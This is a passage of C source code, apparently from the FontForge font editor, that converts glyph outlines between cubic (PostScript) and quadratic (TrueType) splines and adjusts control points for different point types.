start->nextcp.y = sp->prevcp.y = (ps->splines[1].c+2*ps->splines[1].d)/2;
}
return( sp );
}
return( NULL );
}
static SplinePoint *ttfApprox(Spline *ps, SplinePoint *start) {
#if !defined(FONTFORGE_CONFIG_NON_SYMMETRIC_QUADRATIC_CONVERSION)
extended magicpoints[6], last;
int cnt, i, j, qcnt, test_level;
QPoint data[8*10];
int round_to_int =
/* The end points are at integer points, or one coord is at half while */
/* the other is at an integer (ie. condition for ttf interpolated point)*/
((ps->from->me.x==rint(ps->from->me.x) &&
ps->from->me.y==rint(ps->from->me.y)) ||
(ps->from->me.x==rint(ps->from->me.x) &&
ps->from->me.x==ps->from->nextcp.x &&
ps->from->me.y!=ps->from->nextcp.y &&
2*ps->from->me.y==rint(2*ps->from->me.y)) ||
(ps->from->me.y==rint(ps->from->me.y) &&
ps->from->me.y==ps->from->nextcp.y &&
ps->from->me.x!=ps->from->nextcp.x &&
2*ps->from->me.x==rint(2*ps->from->me.x)) ) &&
((ps->to->me.x == rint(ps->to->me.x) &&
ps->to->me.y == rint(ps->to->me.y)) ||
(ps->to->me.x==rint(ps->to->me.x) &&
ps->to->me.x==ps->to->prevcp.x &&
ps->to->me.y!=ps->to->prevcp.y &&
2*ps->to->me.y==rint(2*ps->to->me.y)) ||
(ps->to->me.y==rint(ps->to->me.y) &&
ps->to->me.y==ps->to->prevcp.y &&
ps->to->me.x!=ps->to->prevcp.x &&
2*ps->to->me.x==rint(2*ps->to->me.x)) );
#endif
SplinePoint *ret;
/* Divide the spline up at extrema and points of inflection. The first */
/* because ttf splines should have points at their extrema, the second */
/* because quadratic splines can't have points of inflection. */
/* Let's not do the first (extrema) AddExtrema does this better and we */
/* don't want unneeded extrema. */
/* And sometimes we don't want to look at the points of inflection either*/
if (( ret = AlreadyQuadraticCheck(ps,start))!=NULL )
return( ret );
#if !defined(FONTFORGE_CONFIG_NON_SYMMETRIC_QUADRATIC_CONVERSION)
qcnt = 1;
data[0].bp = ps->from->me;
data[0].t = 0;
qcnt = PrettyApprox(ps,0,1,data,qcnt,round_to_int,0);
if ( qcnt!=-1 )
return( CvtDataToSplines(data,1,qcnt,start));
cnt = 0;
/* cnt = Spline2DFindExtrema(ps,magicpoints);*/
cnt += Spline2DFindPointsOfInflection(ps,magicpoints+cnt);
/* remove points outside range */
for ( i=0; i<cnt; ++i ) {
if ( magicpoints[i]<=0 || magicpoints[i]>=1 ) {
for ( j=i+1; j<cnt; ++j )
magicpoints[j-1] = magicpoints[j];
--cnt;
--i;
}
}
/* sort points */
for ( i=0; i<cnt; ++i ) for ( j=i+1; j<cnt; ++j ) {
if ( magicpoints[i]>magicpoints[j] ) {
double temp = magicpoints[i];
magicpoints[i] = magicpoints[j];
magicpoints[j] = temp;
}
}
/* Remove duplicates */
for ( i=1; i<cnt; ++i ) {
while ( i<cnt && RealNear(magicpoints[i-1],magicpoints[i])) {
--cnt;
for ( j=i ; j<cnt; ++j )
magicpoints[j] = magicpoints[j+1];
magicpoints[cnt] = -1;
}
}
for ( test_level=0; test_level<3; ++test_level ) {
qcnt = 1;
last = 0;
for ( i=0; i<cnt; ++i ) {
qcnt = PrettyApprox(ps,last,magicpoints[i],data,qcnt,round_to_int,test_level);
last = magicpoints[i];
}
qcnt = PrettyApprox(ps,last,1,data,qcnt,round_to_int,test_level);
if ( qcnt!=-1 )
return( CvtDataToSplines(data,1,qcnt,start));
}
#endif
return( __ttfApprox(ps,0,1,start));
}
static void ttfCleanup(SplinePoint *from) {
SplinePoint *test, *next;
for ( test = from; test->next!=NULL; test = next ) {
next = test->next->to;
/* Too close together to be meaningful when output as ttf */
if ( rint(test->me.x) == rint(next->me.x) &&
rint(test->me.y) == rint(next->me.y) ) {
if ( next->next==NULL || next==from ) {
if ( test==from )
break;
next->prevcp = test->prevcp;
next->noprevcp = test->noprevcp;
next->prev = test->prev;
next->prev->to = next;
SplineFree(test->next);
SplinePointFree(test);
} else {
test->nextcp = next->nextcp;
test->nonextcp = next->nonextcp;
test->next = next->next;
test->next->from = test;
SplineFree(next->prev);
SplinePointFree(next);
next = test->next->to;
}
}
if ( next==from )
break;
}
}
SplinePoint *SplineTtfApprox(Spline *ps) {
SplinePoint *from;
from = chunkalloc(sizeof(SplinePoint));
*from = *ps->from;
from->hintmask = NULL;
ttfApprox(ps,from);
return( from );
}
SplineSet *SSttfApprox(SplineSet *ss) {
SplineSet *ret = chunkalloc(sizeof(SplineSet));
Spline *spline, *first;
ret->first = chunkalloc(sizeof(SplinePoint));
*ret->first = *ss->first;
if ( ret->first->hintmask != NULL ) {
ret->first->hintmask = chunkalloc(sizeof(HintMask));
memcpy(ret->first->hintmask,ss->first->hintmask,sizeof(HintMask));
}
ret->last = ret->first;
first = NULL;
for ( spline=ss->first->next; spline!=NULL && spline!=first; spline=spline->to->next ) {
ret->last = ttfApprox(spline,ret->last);
ret->last->ptindex = spline->to->ptindex;
ret->last->ttfindex = spline->to->ttfindex;
ret->last->nextcpindex = spline->to->nextcpindex;
if ( spline->to->hintmask != NULL ) {
ret->last->hintmask = chunkalloc(sizeof(HintMask));
memcpy(ret->last->hintmask,spline->to->hintmask,sizeof(HintMask));
}
if ( first==NULL ) first = spline;
}
if ( ss->first==ss->last ) {
if ( ret->last!=ret->first ) {
ret->first->prevcp = ret->last->prevcp;
ret->first->noprevcp = ret->last->noprevcp;
ret->first->prev = ret->last->prev;
ret->last->prev->to = ret->first;
SplinePointFree(ret->last);
ret->last = ret->first;
}
}
ttfCleanup(ret->first);
SPLCatagorizePoints(ret);
return( ret );
}
SplineSet *SplineSetsTTFApprox(SplineSet *ss) {
SplineSet *head=NULL, *last, *cur;
while ( ss!=NULL ) {
cur = SSttfApprox(ss);
if ( head==NULL )
head = cur;
else
last->next = cur;
last = cur;
ss = ss->next;
}
return( head );
}
SplineSet *SSPSApprox(SplineSet *ss) {
SplineSet *ret = chunkalloc(sizeof(SplineSet));
Spline *spline, *first;
SplinePoint *to;
ret->first = chunkalloc(sizeof(SplinePoint));
*ret->first = *ss->first;
if ( ret->first->hintmask != NULL ) {
ret->first->hintmask = chunkalloc(sizeof(HintMask));
memcpy(ret->first->hintmask,ss->first->hintmask,sizeof(HintMask));
}
ret->last = ret->first;
first = NULL;
for ( spline=ss->first->next; spline!=NULL && spline!=first; spline=spline->to->next ) {
to = chunkalloc(sizeof(SplinePoint));
*to = *spline->to;
if ( to->hintmask != NULL ) {
to->hintmask = chunkalloc(sizeof(HintMask));
memcpy(to->hintmask,spline->to->hintmask,sizeof(HintMask));
}
if ( !spline->knownlinear ) {
ret->last->nextcp.x = spline->splines[0].c/3 + ret->last->me.x;
ret->last->nextcp.y = spline->splines[1].c/3 + ret->last->me.y;
to->prevcp.x = ret->last->nextcp.x+ (spline->splines[0].b+spline->splines[0].c)/3;
to->prevcp.y = ret->last->nextcp.y+ (spline->splines[1].b+spline->splines[1].c)/3;
}
SplineMake3(ret->last,to);
ret->last = to;
if ( first==NULL ) first = spline;
}
if ( ss->first==ss->last ) {
if ( ret->last!=ret->first ) {
ret->first->prevcp = ret->last->prevcp;
ret->first->noprevcp = ret->last->noprevcp;
ret->first->prev = ret->last->prev;
ret->last->prev->to = ret->first;
SplinePointFree(ret->last);
ret->last = ret->first;
}
}
ret->is_clip_path = ss->is_clip_path;
return( ret );
}
SplineSet *SplineSetsPSApprox(SplineSet *ss) {
SplineSet *head=NULL, *last, *cur;
while ( ss!=NULL ) {
cur = SSPSApprox(ss);
if ( head==NULL )
head = cur;
else
last->next = cur;
last = cur;
ss = ss->next;
}
return( head );
}
SplineSet *SplineSetsConvertOrder(SplineSet *ss, int to_order2) {
SplineSet *new;
if ( to_order2 )
new = SplineSetsTTFApprox(ss);
else
new = SplineSetsPSApprox(ss);
SplinePointListsFree(ss);
return( new );
}
void SCConvertLayerToOrder2(SplineChar *sc,int layer) {
SplineSet *new;
if ( sc==NULL )
return;
new = SplineSetsTTFApprox(sc->layers[layer].splines);
SplinePointListsFree(sc->layers[layer].splines);
sc->layers[layer].splines = new;
UndoesFree(sc->layers[layer].undoes);
UndoesFree(sc->layers[layer].redoes);
sc->layers[layer].undoes = NULL;
sc->layers[layer].redoes = NULL;
sc->layers[layer].order2 = true;
MinimumDistancesFree(sc->md); sc->md = NULL;
}
void SCConvertToOrder2(SplineChar *sc) {
int layer;
if ( sc==NULL )
return;
for ( layer=ly_back; layer<sc->layer_cnt; ++layer )
SCConvertLayerToOrder2(sc,layer);
}
static void SCConvertRefs(SplineChar *sc,int layer) {
RefChar *rf;
sc->ticked = true;
for ( rf=sc->layers[layer].refs; rf!=NULL; rf=rf->next ) {
if ( !rf->sc->ticked )
SCConvertRefs(rf->sc,layer);
SCReinstanciateRefChar(sc,rf,layer); /* Conversion is done by reinstanciating */
/* Since the base thing will have been converted, all we do is copy its data */
}
}
void SFConvertLayerToOrder2(SplineFont *_sf,int layer) {
int i, k;
SplineFont *sf;
if ( _sf->cidmaster!=NULL ) _sf=_sf->cidmaster;
k = 0;
do {
sf = _sf->subfonts==NULL ? _sf : _sf->subfonts[k];
for ( i=0; i<sf->glyphcnt; ++i ) if ( sf->glyphs[i]!=NULL ) {
SCConvertLayerToOrder2(sf->glyphs[i],layer);
sf->glyphs[i]->ticked = false;
sf->glyphs[i]->changedsincelasthinted = false;
}
for ( i=0; i<sf->glyphcnt; ++i ) if ( sf->glyphs[i]!=NULL && !sf->glyphs[i]->ticked )
SCConvertRefs(sf->glyphs[i],layer);
if ( layer!=ly_back )
for ( i=0; i<sf->glyphcnt; ++i ) if ( sf->glyphs[i]!=NULL )
SCNumberPoints(sf->glyphs[i],layer);
++k;
} while ( k<_sf->subfontcnt );
_sf->layers[layer].order2 = true;
}
void SFConvertGridToOrder2(SplineFont *_sf) {
int k;
SplineSet *new;
SplineFont *sf;
if ( _sf->cidmaster!=NULL ) _sf=_sf->cidmaster;
k = 0;
do {
sf = _sf->subfonts==NULL ? _sf : _sf->subfonts[k];
new = SplineSetsTTFApprox(sf->grid.splines);
SplinePointListsFree(sf->grid.splines);
sf->grid.splines = new;
UndoesFree(sf->grid.undoes); UndoesFree(sf->grid.redoes);
sf->grid.undoes = sf->grid.redoes = NULL;
sf->grid.order2 = true;
++k;
} while ( k<_sf->subfontcnt );
_sf->grid.order2 = true;
}
void SFConvertToOrder2(SplineFont *_sf) {
int layer;
for ( layer=0; layer<_sf->layer_cnt; ++layer )
SFConvertLayerToOrder2(_sf,layer);
SFConvertGridToOrder2(_sf);
}
void SCConvertLayerToOrder3(SplineChar *sc,int layer) {
SplineSet *new;
RefChar *ref;
AnchorPoint *ap;
int has_order2_layer_still, i;
new = SplineSetsPSApprox(sc->layers[layer].splines);
SplinePointListsFree(sc->layers[layer].splines);
sc->layers[layer].splines = new;
UndoesFree(sc->layers[layer].undoes);
UndoesFree(sc->layers[layer].redoes);
sc->layers[layer].undoes = NULL;
sc->layers[layer].redoes = NULL;
sc->layers[layer].order2 = false;
MinimumDistancesFree(sc->md); sc->md = NULL;
/* OpenType/PostScript fonts don't support point matching to position */
/* references or anchors */
for ( ref = sc->layers[layer].refs; ref!=NULL; ref=ref->next )
ref->point_match = false;
has_order2_layer_still = false;
for ( i=ly_fore; i<sc->layer_cnt; ++i )
if ( sc->layers[i].order2 ) {
has_order2_layer_still = true;
break;
}
if ( !has_order2_layer_still ) {
for ( ap = sc->anchor; ap!=NULL; ap=ap->next )
ap->has_ttf_pt = false;
free(sc->ttf_instrs);
sc->ttf_instrs = NULL; sc->ttf_instrs_len = 0;
/* If this character has any cv's showing instructions then remove the instruction pane!!!!! */
}
}
void SCConvertToOrder3(SplineChar *sc) {
int layer;
for ( layer=0; layer<sc->layer_cnt; ++layer )
SCConvertLayerToOrder3(sc,layer);
}
void SCConvertOrder(SplineChar *sc, int to_order2) {
if ( to_order2 )
SCConvertToOrder2(sc);
else
SCConvertToOrder3(sc);
}
void SFConvertLayerToOrder3(SplineFont *_sf,int layer) {
int i, k;
SplineFont *sf;
if ( _sf->cidmaster!=NULL ) _sf=_sf->cidmaster;
k = 0;
do {
sf = _sf->subfonts==NULL ? _sf : _sf->subfonts[k];
for ( i=0; i<sf->glyphcnt; ++i ) if ( sf->glyphs[i]!=NULL ) {
SCConvertLayerToOrder3(sf->glyphs[i],layer);
sf->glyphs[i]->ticked = false;
sf->glyphs[i]->changedsincelasthinted = true;
}
for ( i=0; i<sf->glyphcnt; ++i ) if ( sf->glyphs[i]!=NULL && !sf->glyphs[i]->ticked )
SCConvertRefs(sf->glyphs[i],layer);
sf->layers[layer].order2 = false;
++k;
} while ( k<_sf->subfontcnt );
_sf->layers[layer].order2 = false;
}
void SFConvertGridToOrder3(SplineFont *_sf) {
int k;
SplineSet *new;
SplineFont *sf;
if ( _sf->cidmaster!=NULL ) _sf=_sf->cidmaster;
k = 0;
do {
sf = _sf->subfonts==NULL ? _sf : _sf->subfonts[k];
new = SplineSetsPSApprox(sf->grid.splines);
SplinePointListsFree(sf->grid.splines);
sf->grid.splines = new;
UndoesFree(sf->grid.undoes); UndoesFree(sf->grid.redoes);
sf->grid.undoes = sf->grid.redoes = NULL;
sf->grid.order2 = false;
++k;
} while ( k<_sf->subfontcnt );
_sf->grid.order2 = false;
}
void SFConvertToOrder3(SplineFont *_sf) {
int layer;
for ( layer=0; layer<_sf->layer_cnt; ++layer )
SFConvertLayerToOrder3(_sf,layer);
SFConvertGridToOrder3(_sf);
}
/* ************************************************************************** */
void SplineRefigure2(Spline *spline) {
SplinePoint *from = spline->from, *to = spline->to;
Spline1D *xsp = &spline->splines[0], *ysp = &spline->splines[1];
Spline old;
#ifdef DEBUG
if ( RealNear(from->me.x,to->me.x) && RealNear(from->me.y,to->me.y))
IError("Zero length spline created");
#endif
if ( spline->acceptableextrema )
old = *spline;
if ( from->nonextcp || to->noprevcp ||
( from->nextcp.x==from->me.x && from->nextcp.y == from->me.y && from->nextcpindex>=0xfffe ) ||
( to->prevcp.x==to->me.x && to->prevcp.y == to->me.y && from->nextcpindex>=0xfffe )) {
from->nonextcp = to->noprevcp = true;
from->nextcp = from->me;
to->prevcp = to->me;
}
if ( from->nonextcp && to->noprevcp )
/* Ok */;
else if ( from->nonextcp || to->noprevcp || from->nextcp.x!=to->prevcp.x ||
from->nextcp.y!=to->prevcp.y ) {
if ( RealNear(from->nextcp.x,to->prevcp.x) &&
RealNear(from->nextcp.y,to->prevcp.y)) {
from->nextcp.x = to->prevcp.x = (from->nextcp.x+to->prevcp.x)/2;
from->nextcp.y = to->prevcp.y = (from->nextcp.y+to->prevcp.y)/2;
} else {
IError("Invalid 2nd order spline in SplineRefigure2" );
#ifndef GWW_TEST
/* I don't want these to go away when I'm debugging. I want to */
/* know how I got them */
from->nextcp.x = to->prevcp.x = (from->nextcp.x+to->prevcp.x)/2;
from->nextcp.y = to->prevcp.y = (from->nextcp.y+to->prevcp.y)/2;
#endif
}
}
xsp->d = from->me.x; ysp->d = from->me.y;
if ( from->nonextcp && to->noprevcp ) {
spline->islinear = true;
xsp->c = to->me.x-from->me.x;
ysp->c = to->me.y-from->me.y;
xsp->a = xsp->b = 0;
ysp->a = ysp->b = 0;
} else {
/* from p. 393 (Operator Details, curveto) PostScript Lang. Ref. Man. (Red book) */
xsp->c = 2*(from->nextcp.x-from->me.x);
ysp->c = 2*(from->nextcp.y-from->me.y);
xsp->b = to->me.x-from->me.x-xsp->c;
ysp->b = to->me.y-from->me.y-ysp->c;
xsp->a = 0;
ysp->a = 0;
if ( RealNear(xsp->c,0)) xsp->c=0;
if ( RealNear(ysp->c,0)) ysp->c=0;
if ( RealNear(xsp->b,0)) xsp->b=0;
if ( RealNear(ysp->b,0)) ysp->b=0;
spline->islinear = false;
if ( ysp->b==0 && xsp->b==0 )
spline->islinear = true; /* This seems extremely unlikely... */
}
if ( isnan(ysp->b) || isnan(xsp->b) )
IError("NaN value in spline creation");
LinearApproxFree(spline->approx);
spline->approx = NULL;
spline->knowncurved = false;
spline->knownlinear = spline->islinear;
SplineIsLinear(spline);
spline->isquadratic = !spline->knownlinear;
spline->order2 = true;
if ( spline->acceptableextrema ) {
/* I don't check "d", because changes to that reflect simple */
/* translations which will not affect the shape of the spline */
/* (I don't check "a" because it is always 0 in a quadratic spline) */
if ( !RealNear(old.splines[0].b,spline->splines[0].b) ||
!RealNear(old.splines[0].c,spline->splines[0].c) ||
!RealNear(old.splines[1].b,spline->splines[1].b) ||
!RealNear(old.splines[1].c,spline->splines[1].c) )
spline->acceptableextrema = false;
}
}
void SplineRefigure(Spline *spline) {
if ( spline==NULL )
return;
if ( spline->order2 )
SplineRefigure2(spline);
else
SplineRefigure3(spline);
}
static int IsHV(Spline *spline, int isfrom) {
SplinePoint *sp;
if ( spline==NULL )
return( false );
if ( !isfrom ) {
sp = spline->to;
if ( sp->noprevcp )
return( false );
if ( sp->me.x == sp->prevcp.x )
return( 2 ); /* Vertical */
else if ( sp->me.y == sp->prevcp.y )
return( 1 ); /* Horizontal */
else
return( 0 ); /* Neither */
} else {
sp = spline->from;
if ( sp->nonextcp )
return( false );
if ( sp->me.x == sp->nextcp.x )
return( 2 ); /* Vertical */
else if ( sp->me.y == sp->nextcp.y )
return( 1 ); /* Horizontal */
else
return( 0 ); /* Neither */
}
}
void SplineRefigureFixup(Spline *spline) {
SplinePoint *from, *to, *prev, *next;
BasePoint foff, toff, unit, new;
double len;
enum pointtype fpt, tpt;
int done = false;
extern int snaptoint;
if ( !spline->order2 ) {
SplineRefigure3(spline);
return;
}
from = spline->from; to = spline->to;
if ( from->pointtype==pt_hvcurve && to->pointtype==pt_hvcurve ) {
done = true;
if ( !IsHV(from->prev,0) && !IsHV(to->next,1) ) {
if ( to->me.x == from->me.x ) {
from->nextcp.x = to->prevcp.x = to->me.x;
from->nextcp.y = to->prevcp.y = (from->me.y+from->me.y)/2;
} else if ( to->me.y==from->me.y ) {
from->nextcp.y = to->prevcp.y = to->me.y;
from->nextcp.x = to->prevcp.x = (from->me.x+from->me.x)/2;
/* Assume they are drawing clockwise */
} else if (( to->me.x>from->me.x && to->me.y>=from->me.y ) ||
(to->me.x<from->me.x && to->me.y<=from->me.y )) {
from->nextcp.x = to->prevcp.x = from->me.x;
from->nextcp.y = to->prevcp.y = to->me.y;
} else {
from->nextcp.x = to->prevcp.x = to->me.x;
from->nextcp.y = to->prevcp.y = from->me.y;
}
} else if ( !IsHV(to->next,1)) {
if ( IsHV(from->prev,0)==1 ) {
from->nextcp.x = to->prevcp.x = to->me.x;
from->nextcp.y = to->prevcp.y = from->me.y;
} else {
from->nextcp.x = to->prevcp.x = from->me.x;
from->nextcp.y = to->prevcp.y = to->me.y;
}
} else if ( !IsHV(from->prev,0)) {
if ( IsHV(to->next,1)==1 ) {
from->nextcp.x = to->prevcp.x = from->me.x;
from->nextcp.y = to->prevcp.y = to->me.y;
} else {
from->nextcp.x = to->prevcp.x = to->me.x;
from->nextcp.y = to->prevcp.y = from->me.y;
}
} else {
if ( IsHV(from->prev,0)==1 && IsHV(to->next,1)==2 ) {
from->nextcp.x = to->prevcp.x = to->me.x;
from->nextcp.y = to->prevcp.y = from->me.y;
} else if ( IsHV(from->prev,0)==2 && IsHV(to->next,1)==1 ) {
from->nextcp.x = to->prevcp.x = from->me.x;
from->nextcp.y = to->prevcp.y = to->me.y;
} else
done = false;
}
if ( done )
to->noprevcp = from->nonextcp = false;
}
if ( !done ) {
unit.x = from->nextcp.x-from->me.x;
unit.y = from->nextcp.y-from->me.y;
len = sqrt(unit.x*unit.x + unit.y*unit.y);
if ( len!=0 )
unit.x /= len; unit.y /= len;
if ( (fpt = from->pointtype)==pt_hvcurve ) fpt = pt_curve;
if ( (tpt = to->pointtype)==pt_hvcurve ) tpt = pt_curve;
if ( from->nextcpdef && to->prevcpdef ) switch ( fpt*3+tpt ) {
case pt_corner*3+pt_corner:
case pt_corner*3+pt_tangent:
case pt_tangent*3+pt_corner:
case pt_tangent*3+pt_tangent:
from->nonextcp = to->noprevcp = true;
from->nextcp = from->me;
to->prevcp = to->me;
break;
case pt_curve*3+pt_curve:
case pt_curve*3+pt_corner:
case pt_corner*3+pt_curve:
case pt_tangent*3+pt_curve:
case pt_curve*3+pt_tangent:
if ( from->prev!=NULL && (from->pointtype==pt_tangent || from->pointtype==pt_hvcurve)) {
prev = from->prev->from;
foff.x = prev->me.x;
foff.y = prev->me.y;
} else if ( from->prev!=NULL ) {
prev = from->prev->from;
foff.x = to->me.x-prev->me.x + from->me.x;
foff.y = to->me.y-prev->me.y + from->me.y;
} else {
foff.x = from->me.x + (to->me.x-from->me.x)-(to->me.y-from->me.y);
foff.y = from->me.y + (to->me.x-from->me.x)+(to->me.y-from->me.y);
prev = NULL;
}
if ( to->next!=NULL && (to->pointtype==pt_tangent || to->pointtype==pt_hvcurve)) {
next = to->next->to;
toff.x = next->me.x;
toff.y = next->me.y;
} else if ( to->next!=NULL ) {
next = to->next->to;
toff.x = next->me.x-from->me.x + to->me.x;
toff.y = next->me.y-from->me.y + to->me.y;
} else {
toff.x = to->me.x + (to->me.x-from->me.x)+(to->me.y-from->me.y);
toff.y = to->me.y - (to->me.x-from->me.x)+(to->me.y-from->me.y);
next = NULL;
}
if (( from->pointtype==pt_hvcurve && foff.x!=from->me.x && foff.y!=from->me.y ) ||
( to->pointtype==pt_hvcurve && toff.x!=to->me.x && toff.y!=to->me.y )) {
if ( from->me.x == to->me.x ) {
if ( from->pointtype==pt_hvcurve )
foff.x = from->me.x;
if ( to->pointtype==pt_hvcurve )
toff.x = to->me.x;
} else if ( from->me.y == to->me.y ) {
if ( from->pointtype==pt_hvcurve )
foff.y = from->me.y;
if ( to->pointtype==pt_hvcurve )
toff.y = to->me.y;
} else {
if ( from->pointtype==pt_hvcurve && foff.x!=from->me.x && foff.y!=from->me.y ) {
if ( fabs(foff.x-from->me.x) > fabs(foff.y-from->me.y) )
foff.y = from->me.y;
else
foff.x = from->me.x;
}
if ( to->pointtype==pt_hvcurve && toff.x!=to->me.x && toff.y!=to->me.y ) {
if ( from->pointtype==pt_hvcurve ) {
if ( from->me.x==foff.x )
toff.y = to->me.y;
else
toff.x = to->me.x;
} else if ( fabs(toff.x-to->me.x) > fabs(toff.y-to->me.y) )
toff.y = to->me.y;
else
toff.x = to->me.x;
}
}
}
if ( IntersectLinesClip(&from->nextcp,&foff,&from->me,&toff,&to->me)) {
from->nonextcp = to->noprevcp = false;
to->prevcp = from->nextcp;
if ( (from->pointtype==pt_curve || from->pointtype==pt_hvcurve ) &&
!from->noprevcp && from->prev!=NULL ) {
prev = from->prev->from;
if ( IntersectLinesClip(&from->prevcp,&from->nextcp,&from->me,&prev->nextcp,&prev->me)) {
prev->nextcp = from->prevcp;
SplineRefigure2(from->prev);
}
}
if ( (to->pointtype==pt_curve || to->pointtype==pt_hvcurve) &&
!to->nonextcp && to->next!=NULL ) {
next = to->next->to;
if ( IntersectLinesClip(&to->nextcp,&to->prevcp,&to->me,&next->prevcp,&next->me)) {
next->prevcp = to->nextcp;
SplineRefigure(to->next);
}
}
}
break;
} else {
/* Can't set things arbetrarily here, but make sure they are consistant */
if ( (from->pointtype==pt_curve || from->pointtype==pt_hvcurve ) &&
!from->noprevcp && !from->nonextcp ) {
unit.x = from->nextcp.x-from->me.x;
unit.y = from->nextcp.y-from->me.y;
len = sqrt(unit.x*unit.x + unit.y*unit.y);
if ( len!=0 ) {
unit.x /= len; unit.y /= len;
len = sqrt((from->prevcp.x-from->me.x)*(from->prevcp.x-from->me.x) + (from->prevcp.y-from->me.y)*(from->prevcp.y-from->me.y));
new.x = -len*unit.x + from->me.x; new.y = -len*unit.y + from->me.y;
if ( new.x-from->prevcp.x<-1 || new.x-from->prevcp.x>1 ||
new.y-from->prevcp.y<-1 || new.y-from->prevcp.y>1 ) {
prev = NULL;
if ( from->prev!=NULL && (prev = from->prev->from)!=NULL &&
IntersectLinesClip(&from->prevcp,&new,&from->me,&prev->nextcp,&prev->me)) {
prev->nextcp = from->prevcp;
SplineRefigure2(from->prev);
} else {
from->prevcp = new;
if ( prev!=NULL )
prev->nextcp = new;
}
}
}
} else if ( from->pointtype==pt_tangent ) {
if ( from->prev!=NULL ) {
prev = from->prev->from;
if ( !from->noprevcp && !prev->nonextcp &&
IntersectLinesClip(&from->prevcp,&to->me,&from->me,&prev->nextcp,&prev->me)) {
prev->nextcp = from->prevcp;
SplineRefigure2(from->prev);
}
if ( !from->nonextcp && !to->noprevcp &&
IntersectLinesClip(&from->nextcp,&prev->me,&from->me,&to->prevcp,&to->me))
to->prevcp = from->nextcp;
}
}
if ( (to->pointtype==pt_curve || to->pointtype==pt_hvcurve ) &&
!to->noprevcp && !to->nonextcp ) {
unit.x = to->prevcp.x-to->nextcp.x;
unit.y = to->prevcp.y-to->nextcp.y;
len = sqrt(unit.x*unit.x + unit.y*unit.y);
if ( len!=0 ) {
unit.x /= len; unit.y /= len;
len = sqrt((to->nextcp.x-to->me.x)*(to->nextcp.x-to->me.x) + (to->nextcp.y-to->me.y)*(to->nextcp.y-to->me.y));
new.x = -len*unit.x + to->me.x; new.y = -len*unit.y + to->me.y;
if ( new.x-to->nextcp.x<-1 || new.x-to->nextcp.x>1 ||
new.y-to->nextcp.y<-1 || new.y-to->nextcp.y>1 ) {
if ( to->next!=NULL && (next = to->next->to)!=NULL &&
IntersectLinesClip(&to->nextcp,&new,&to->me,&next->prevcp,&next->me)) {
next->prevcp = to->nextcp;
SplineRefigure2(to->next);
} else {
to->nextcp = new;
if ( to->next!=NULL ) {
to->next->to->prevcp = new;
SplineRefigure(to->next);
}
}
}
}
} else if ( to->pointtype==pt_tangent ) {
if ( to->next!=NULL ) {
next = to->next->to;
if ( !to->nonextcp && !next->noprevcp &&
IntersectLinesClip(&to->nextcp,&from->me,&to->me,&next->prevcp,&next->me)) {
next->prevcp = to->nextcp;
SplineRefigure2(to->next);
}
if ( !from->nonextcp && !to->noprevcp &&
IntersectLinesClip(&from->nextcp,&next->me,&to->me,&from->nextcp,&from->me))
to->prevcp = from->nextcp;
}
}
}
if ( from->nonextcp && to->noprevcp )
/* Ok */;
else if ( from->nonextcp || to->noprevcp ) {
from->nonextcp = to->noprevcp = true;
} else if (( from->nextcp.x==from->me.x && from->nextcp.y==from->me.y ) ||
( to->prevcp.x==to->me.x && to->prevcp.y==to->me.y ) ) {
from->nonextcp = to->noprevcp = true;
} else if ( from->nonextcp || to->noprevcp || from->nextcp.x!=to->prevcp.x ||
from->nextcp.y!=to->prevcp.y ) {
if ( !IntersectLinesClip(&from->nextcp,
(from->pointtype==pt_tangent && from->prev!=NULL)?&from->prev->from->me:&from->nextcp, &from->me,
(to->pointtype==pt_tangent && to->next!=NULL)?&to->next->to->me:&to->prevcp, &to->me)) {
from->nextcp.x = (from->me.x+to->me.x)/2;
from->nextcp.y = (from->me.y+to->me.y)/2;
}
to->prevcp = from->nextcp;
if (( from->nextcp.x==from->me.x && from->nextcp.y==from->me.y ) ||
( to->prevcp.x==to->me.x && to->prevcp.y==to->me.y ) ) {
from->nonextcp = to->noprevcp = true;
from->nextcp = from->me;
to->prevcp = to->me;
}
}
}
if ( snaptoint && !from->nonextcp ) {
from->nextcp.x = to->prevcp.x = rint(from->nextcp.x);
from->nextcp.y = to->prevcp.y = rint(from->nextcp.y);
}
SplineRefigure2(spline);
/* Now in order2 splines it is possible to request combinations that are */
/* mathematically impossible -- two adjacent hv points often don't work */
if ( to->pointtype==pt_hvcurve &&
!(to->prevcp.x == to->me.x && to->prevcp.y != to->me.y ) &&
!(to->prevcp.y == to->me.y && to->prevcp.x != to->me.x ) )
to->pointtype = pt_curve;
if ( from->pointtype==pt_hvcurve &&
!(from->nextcp.x == from->me.x && from->nextcp.y != from->me.y ) &&
!(from->nextcp.y == from->me.y && from->nextcp.x != from->me.x ) )
from->pointtype = pt_curve;
}
Spline *SplineMake2(SplinePoint *from, SplinePoint *to) {
Spline *spline = chunkalloc(sizeof(Spline));
spline->from = from; spline->to = to;
from->next = to->prev = spline;
spline->order2 = true;
SplineRefigure2(spline);
return( spline );
}
Spline *SplineMake(SplinePoint *from, SplinePoint *to, int order2) {
if ( order2 )
return( SplineMake2(from,to));
else
return( SplineMake3(from,to));
}
void SplinePointPrevCPChanged2(SplinePoint *sp) {
SplinePoint *p, *pp;
BasePoint p_pcp;
if ( sp->prev!=NULL ) {
p = sp->prev->from;
if ( SPInterpolate(p) && !sp->noprevcp ) {
p->nextcp = sp->prevcp;
p->me.x = ( p->prevcp.x+p->nextcp.x)/2;
p->me.y = ( p->prevcp.y+p->nextcp.y)/2;
SplineRefigure2(sp->prev);
if (p->prev != NULL) SplineRefigure2(p->prev);
} else {
p->nextcp = sp->prevcp;
p->nonextcp = sp->noprevcp;
if ( sp->noprevcp ) {
p->nonextcp = true;
p->nextcp = p->me;
SplineRefigure2(sp->prev);
} else if (( p->pointtype==pt_curve || p->pointtype==pt_hvcurve ) &&
!p->noprevcp ) {
SplineRefigure2(sp->prev);
if ( p->prev==NULL ) {
double len1, len2;
len1 = sqrt((p->nextcp.x-p->me.x)*(p->nextcp.x-p->me.x) +
(p->nextcp.y-p->me.y)*(p->nextcp.y-p->me.y));
len2 = sqrt((p->prevcp.x-p->me.x)*(p->prevcp.x-p->me.x) +
(p->prevcp.y-p->me.y)*(p->prevcp.y-p->me.y));
len2 /= len1;
p->prevcp.x = rint(len2 * (p->me.x-p->prevcp.x) + p->me.x);
p->prevcp.y = rint(len2 * (p->me.y-p->prevcp.y) + p->me.y);
} else {
pp = p->prev->from;
/* Find the intersection (if any) of the lines between */
/* pp->nextcp&pp->me with p->prevcp&p->me */
if ( IntersectLines(&p_pcp,&pp->nextcp,&pp->me,&p->nextcp,&p->me)) {
